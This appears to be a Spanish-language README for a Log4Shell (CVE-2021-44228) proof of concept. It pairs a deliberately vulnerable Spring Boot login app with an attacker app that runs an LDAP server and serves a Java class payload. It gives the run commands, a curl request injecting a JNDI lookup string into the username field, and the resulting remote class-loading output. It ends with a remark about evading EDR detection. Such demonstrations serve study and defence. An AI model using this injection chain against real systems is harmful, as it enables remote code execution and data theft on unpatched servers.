
prueba de concepto de log4j2 Log4Shell CVE-2021-44228
Aplicación simple de Spring Boot que sirve una página de inicio de sesión con usuario y contraseña. Registra el nombre de usuario cuando se envía por POST a /. No es necesario que la aplicación registre ninguna entrada proporcionada por el usuario. Es suficiente con habilitar el registro de acceso (access logging) que utilice una versión vulnerable de log4j2.
Cómo ejecutarlo:
cd exploitable
../mvnw -q spring-boot:run
Por defecto, escucha en el puerto 8080. Si accedes a http://localhost:8080/ en el navegador, deberías ver algo como:
En pom.xml notarás la propiedad JVM:
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true
Esto no es necesario en versiones anteriores de JDK. El valor predeterminado se cambió a false en: JDK 11.0.1, 8u191, 7u201 y 6u211. Incluso sin esta propiedad, la aplicación es vulnerable a las solicitudes LDAP iniciales, que pueden exfiltrar datos sensibles.

Aplicación hacker que tiene dos propósitos:
Cómo ejecutarlo:
cd hacker
../mvnw -q spring-boot:run
En pom.xml puedes cambiar el payload predeterminado que se envía a las aplicaciones explotables:
--class=SayHello es el predeterminado, lo que significa que envía SayHello.class como payload.
Envía una solicitud curl a la aplicación explotable haciendo referencia al servidor LDAP del hacker en uno de los campos proporcionados por el usuario (nombre de usuario):
curl -d "user=\${jndi:ldap://127.0.0.1:1389}" http://localhost:8080/
En la consola de la aplicación explotable, deberías ver algo como:

${jndi:ldap://127.0.0.1:1389}127.0.0.1:1389dn:
objectClass: javaNamingReference
javaClassName: SayHello
javaCodeBase: http://127.0.0.1:9090/
javaFactory: SayHello
SayHello.classgetObjectInstance de la clase explotableDespués de la solicitud LDAP inicial y, potencialmente, de la descarga de la clase Java explotable, no es necesario que el exploit cree un proceso hijo (fork) ni realice ninguna conexión adicional a Internet. Normalmente, este tipo de exploits pueden ser detectados fácilmente por productos EDR, etc. Sospecho que los nuevos payloads de exploits se implementarán de forma nativa en Java para evadir la detección.